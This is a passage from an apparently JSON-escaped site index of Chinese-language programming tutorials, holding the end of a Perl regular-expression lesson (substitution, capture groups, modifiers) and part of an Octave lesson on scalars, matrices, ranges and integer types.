class=\"nv\"\u003e$_\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Hello World.\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$word\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;World\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sr\"\u003es/$word/Bill/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e  \u003cspan class=\"c1\"\u003e# 可內嵌變數\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (2) 使用 () 儲存變數\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$_\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Every Dog Has It\u0026#39;s Day.\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 比對行首的第一個與第二個字，並儲存至變數 $1 與 $2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sr\"\u003e/^(\\w+)\\W+(\\w+)/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;The first 2 words are: $1 and $2\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$_\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Every Dog Has It\u0026#39;s Day.\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sr\"\u003es/(\\w+)/\u0026lt;$1\u0026gt;/g\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e  \u003cspan class=\"c1\"\u003e# \u0026lt;Every\u0026gt; \u0026lt;Dog\u0026gt; \u0026lt;Has\u0026gt; \u0026lt;It\u0026gt;\u0026#39;\u0026lt;s\u0026gt; \u0026lt;Day\u0026gt;.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$_\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;barbarian\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sr\"\u003es/(\\w+)\\1/$1/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e  \u003cspan class=\"c1\"\u003e# 抓出重複的地方，去掉重複的地方\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e  \u003cspan class=\"c1\"\u003e# barian\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (3) Modifiers\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# g：Match globally, i.e., find all occurrences.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$_\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Hello World.\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sr\"\u003es/l/\u0026lt;L\u0026gt;/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e   \u003cspan class=\"c1\"\u003e# 只取代第一個 \u0026#39;l\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e      \u003cspan class=\"c1\"\u003e# He\u0026lt;L\u0026gt;lo World.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$_\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Hello World.\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sr\"\u003es/l/\u0026lt;L\u0026gt;/g\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e  \u003cspan class=\"c1\"\u003e# 取代所有的 \u0026#39;l\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e      \u003cspan class=\"c1\"\u003e# He\u0026lt;L\u0026gt;\u0026lt;L\u0026gt;o Wor\u0026lt;L\u0026gt;d.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# i：Do case-insensitive pattern matching.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 忽略大小寫差別，比對成功\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hello World\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e\u003cspan class=\"sr\"\u003e /hello world/i\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# o：Compile pattern only once.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$word\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;something\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$something\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e# something ...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"sr\"\u003es/$word/$another/o\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e# 加入 \u0026#39;o\u0026#39;，只編譯一次，可加快執行效率\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e# something ...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$str\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;abcdefg\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$str\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e \u003cspan class=\"sr\"\u003es/($_)/\u0026lt;$1\u0026gt;/o\u003c/span\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#39;c\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e..\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#39;f\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"nv\"\u003e$str\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e     \u003cspan class=\"c1\"\u003e# ab\u0026lt;\u0026lt;\u0026lt;\u0026lt;c\u0026gt;\u0026gt;\u0026gt;\u0026gt;defg ，似乎不是我要的\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# m：Treat string as mutiple lines.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# That is, change \u0026#34;^\u0026#34; and \u0026#34;$\u0026#34; from matching the\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# start or end of the string to matching the start\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# or end of any line anywhere within the string.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$_\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;abc\\ndef\\nghi\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sr\"\u003es/^(.)/\\u$1/mg\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e# 把行首第一個字母變大寫\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e  \u003cspan class=\"c1\"\u003e# 結果正確，\u0026#34;Abc\\nDef\\nGhi\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$_\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;abc\\ndef\\nghi\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sr\"\u003es/^(.)/\\u$1/g\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e  \u003cspan class=\"c1\"\u003e# 若沒有加上 m\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e  \u003cspan class=\"c1\"\u003e# 結果變成，\u0026#34;Abc\\ndef\\nghi\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$_\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;abc\\ndef\\nghi\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sr\"\u003es/(.)$/\\u$1/mg\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e# 同理\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e  \u003cspan class=\"c1\"\u003e# 結果為，\u0026#34;abC\\ndeF\\nghI\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# s：Treat string as single line. That is,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# change \u0026#34;.\u0026#34; to match any character whatsoever,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# even a newline, which normally it would not match.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$_\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;abc\\ndef\\nghi\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 加入 s ，使 \u0026#39;.\u0026#39; 可比對 \u0026#34;\\n\u0026#34;，比對成功。\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Matched\u0026#34;\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"sr\"\u003e/a.*i/s\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 不加 s ，則比對失敗。\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Matched\u0026#34;\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"sr\"\u003e/a.*i/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Perl 常規表達式（Regular Expression）"},{"content":"Octave 中的數值資料包含純量（scalar）、向量（vector）與矩陣（matrix），其中的值可為實數或複數。\n純量（Scalars） 最簡單的數值資料就是常數純量，其表示方法可以是整數、浮點數、分數或是科學記號， 例如：\n105 1.05e+2 1050e-1 以上三個數值是一樣的。若要表示複數：\n3 + 4i 3.0 + 4.0i 0.3e1 + 40e-1i 這三個複數也都表示同樣的數值，其中 i 代表複數的虛部，也就是 -1 的平方根。在 Octave 中要使用 i 來表示複數的虛部時，數字與 i 之間不能有空白，例如：\n3 + 4 i 數字與 i 之間若有空白 Octave 就會產生錯誤。\n代表複數虛部的 i 亦可以用 j 、I 或 J 來替代，這四個字母的功能相同。\nOctave 在儲存常數純量時預設是使用雙精度浮點數（double precision）來儲存，若是複數則使用兩個雙精度浮點數儲存。\ndouble (x) double(x) 會將 x 轉換為雙精度浮點數後傳回，可用於純量或是矩陣。\ncomplex (x) complex (re, im) complex(x) 會傳回實部為 x 虛部為 0 的複數。complex(re, im) 會傳回實部為 re 虛部為 im 的複數。使用 complex() 函數通常會比直接寫 a + bi 的形式方便，例如：\ncomplex ([1, 2], [3, 4]) 矩陣（Matrices） 定義矩陣 在 Octave 要定義一個矩陣很簡單，矩陣的大小 Octave 會自動依照使用者所輸入的資料來決定，每個列以分號（;）分隔，而一個列中的每個元素則是以逗號（,）分隔，例如：\na = [1, 2; 3, 4] 這樣會產生一個 2 乘 2 的矩陣 a。\n在指定矩陣可以使用各種的表示方式，只要其組合起來的維度是正確的都可以被 Octave 接受，例如：\nb = [a, a] 這會將兩個 a 合併起來變成一個 2 乘 4 的矩陣。而若是組合起來的維度不正確，就會出現錯誤：\n[a, 1] Octave 會顯示其維度不符合：\nerror: number of rows must match (1 != 2) near line 5, column 5 所有在中括弧中的資料 Octave 都會視為矩陣，Octave 會自動判斷是否要將空白與換行轉換為元素與列的分隔符號，所以上面的矩陣 a 也可以寫成這樣：\na = [1 2 3 4] 但有時候這種寫法會產生混淆，例如：\n[1 - 1] 會被視為 1 減 1，所以會得到 0，而\n[1 -1] 則會被視為 [1, -1]。\n在中括弧中呼叫函數時，也會發生類似的問題：\n[sin (pi)] 會被視為 [sin, (pi)] 而產生錯誤，因為 sin() 函數必須要有一個傳入的參數，要避免產生錯誤必須把中間多餘的空白去除或是再加入一個小括弧：\n[(sin (pi))] 用於矩陣轉置的單引號（'）周圍的空白也要注意，例如：\na = [1, 2; 3, 4] [a a\u0026#39;] 若是單引號前多一個空白：\n[a a \u0026#39;] 就會造成錯誤：\nerror: unterminated string constant parse error: syntax error \u0026gt;\u0026gt;\u0026gt; [a a '] ^ 為了避免上述的問題，在表示矩陣時最好不要省略分號與逗號。\n矩陣輸出格式 當使用者輸入的變數是矩陣時，Octave 會將矩陣的內容排版後輸出在螢幕上，以下的函數可以控制矩陣的輸出格式：\nval = output_max_field_width () old_val = output_max_field_width (new_val) 查詢或設定數值在輸出時的最大字元寬度。\nval = output_precision () old_val = output_precision (new_val) 查詢或設定數值在輸出時的最小有效位數。\noutput_max_field_width() 與 output_precision() 函數配合可以設定各種輸出格式，使用者可以使用 format() 函數設定其組合，請參考輸入與輸出。\nval = split_long_rows () old_val = split_long_rows (new_val) 若是矩陣太大無法一次顯示在螢幕上，Octave 預設會將矩陣的列（row）切開，每次顯示矩陣中一部分的列，split_long_rows() 函數可以查詢或設定矩陣在輸出時是否要將列（row）切開輸出，例如：\nrand(2, 10) 輸出為\nans = Columns 1 through 7: 0.085634 0.136640 0.455903 0.681633 0.687501 0.533536 0.461752 0.708830 0.679109 0.119020 0.975902 0.110367 0.488791 0.518949 Columns 8 through 10: 0.196560 0.808889 0.576050 0.670522 0.913750 0.866018 Octave 在輸出矩陣中非常大或非常小的數值時，會自動切換成科學記號來表示，這樣可以確保矩陣中每個元素都可以顯示較多的有效數字，若是想以固定的位數來表示矩陣中的數值，可以透過下面的函數更改設定，但更改此設定有可造成輸出的數值被誤判，因此不建議更改。\nval = fixed_point_format () old_val = fixed_point_format (new_val) 查詢或設定是否將矩陣數值以固定位數輸出，若是設定以固定位數輸出，Octave 會以 scaled format 輸出矩陣：\nfixed_point_format(1) x=[100, 0.2; 0.3, 0.9] 輸出為\nx = 1.0e+02 * 1.00000 0.00200 0.00300 0.00900 輸出的第一個數值 1.0e+02 是一個係數，下方矩陣中每個數值乘上這係數就會得到原來的值，有時候這樣的輸出會產生過大的誤差：\nfixed_point_format(0) logspace(1, 7, 5)\u0026#39; fixed_point_format(1) logspace(1, 7, 5)\u0026#39; 因此在 fixed_point_format() 不是設定為 0 時，要注意輸出是否會產生錯誤。\n空矩陣 在數學上矩陣的兩個維度有可能其中一個是 0 或是兩個都是 0 ，Octave 亦允許使用者使用一個維度或兩個維度都是 0 的矩陣，而空矩陣在輸出時預設會使用 [] 符號表示，這個可以使用下列函數設定：\nval = print_empty_dimensions () old_val = print_empty_dimensions (new_val) 查詢或設定是否要將空矩陣的維度與 [] 符號一起輸出，例如：\nzeros(3, 0) 會輸出\nans = [](3x0) 空矩陣也可以用來刪除矩陣的行或列，請參考運算。\n範圍（Ranges） 範圍（Ranges）的表示法可以很方便的表示一個元素間距離相等的列向量（row vector），其表示方法是以冒號（:）分隔開始值、間距與結束值，例如要產生 1 到 3 的列向量，元素間的間距為 0.5，則：\n1 : 0.5 : 3 產生的列向量等同於 [1, 1.5, 2, 2.5, 3]。間距亦可以是負的，這像會產生遞減的列向量：\n3 : -0.5 : 1 若是將間距省略，則 Octave 會使用預設的間距 1 來產生列向量：\n1 : 3 產生的列向量等同於 [1, 2, 3]。\n使用範圍表示法所得到的列向量有可能不包含範圍的結束值，例如：\n1.2 : 0.3 : 2.6 若是要確保端點的值可以被納入，請使用 linspace() 函數。\n除了在必要的情況，Octave 不會自動將範圍轉換成列向量，而會以範圍的形式儲存，因為列向量通常需要較多的記憶體來儲存，例如 1:10000 在 32 位元的系統就需要佔用 80,000 個位元組。當 Octave 中含有一些運算時，Octave 也會避免將範圍表示法轉換為列向量，例如：\na = 2*(1:1e7) - 1; b = 1:2:2e7-1; a 與 b 所產生的列向量是一樣的，但 b 不需要建立一個長度是 10,000,000 的列向量。\n範圍表示法無法接受間距為 0 的情況（也就是所有列向量的元素都相同），要產生這樣的列向量可以使用 ones() 函數，例如：\nones(1, 10) 若範圍表示法中包含運算式，Octave 在接受範圍表示法時會自動判斷此運算式是否為常數，若計算結果是常數，則會以此常數替代運算式。\n單精度浮點數（Single Precision） Octave 支援單精度浮點數運算，大部份的函數也都可以使用單精度浮點數的參數，並且以單精度浮點數傳回結果，單精度浮點數的建立可使用 single() 函數。\nsingle (x) single(x) 會將 x 轉換為單精度浮點數後傳回，可用於純量或是矩陣。例如：\nsngl = single(rand(2, 2)) class(sngl) 有許多函數可以直接設定傳回值為單精度浮點數，例如：\nones (2, 2, \u0026#34;single\u0026#34;) zeros (2, 2, \u0026#34;single\u0026#34;) eye (2, 2, \u0026#34;single\u0026#34;) NaN (2, 2, \u0026#34;single\u0026#34;) NA (2, 2, \u0026#34;single\u0026#34;) Inf (2, 2, \u0026#34;single\u0026#34;) 整數（Integer） Octave 支援整數的純量或矩陣，包含 8、16、32 與 64 位元的有號（signed）與無號（unsigned）整數，由於許多的運算需要使用浮點數，整數在遇到浮點運算時會自動轉換成浮點數，因此整數通常只用於儲存數值而不用來計算。\n最常見的整數矩陣是將一般的浮點數矩陣轉換為整數矩陣，例如：\nfmat = rand (2, 2) 輸出為\nfmat = 0.70290 0.92763 0.80579 0.31735 以 int32() 函數將 fmat 轉換為 32 位元的整數矩陣：\nint32(fmat) 輸出為\nans = 1 1 1 0 由結果看出浮點數會被轉換為最接近的整數。\nisinteger (x) isinteger(x) 可判斷 x 是否為整數。\nisinteger(8) 會傳回 false，因為 Octave 所有的常數預設都是使用雙精度浮點數儲存。\nint8 (x) int8(x) 會將 x 轉換為 8 位元的有號整數後傳回。\nuint8 (x) uint8(x) 會將 x 轉換為 8 位元的無號整數後傳回。\nint16 (x) int16(x) 會將 x 轉換為 16 位元的有號整數後傳回。\nuint16 (x) uint16(x) 會將 x 轉換為 16 位元的無號整數後傳回。\nint32 (x) int32(x) 會將 x 轉換為 32 位元的有號整數後傳回。\nuint32 (x) uint32(x) 會將 x 轉換為 32 位元的無號整數後傳回。\nint64 (x) int64(x) 會將 x 轉換為 64 位元的有號整數後傳回。\nuint64 (x) uint64(x) 會將 x 轉換為 64 位元的無號整數後傳回。\nintmax (type) intmax(type) 會傳回 type 類型整數能夠儲存的最大數值，type 可以指定的類型有：\u0026quot;int8\u0026quot;、 \u0026quot;uint8\u0026quot;、 \u0026quot;int16\u0026quot;、 \u0026quot;uint16\u0026quot;、 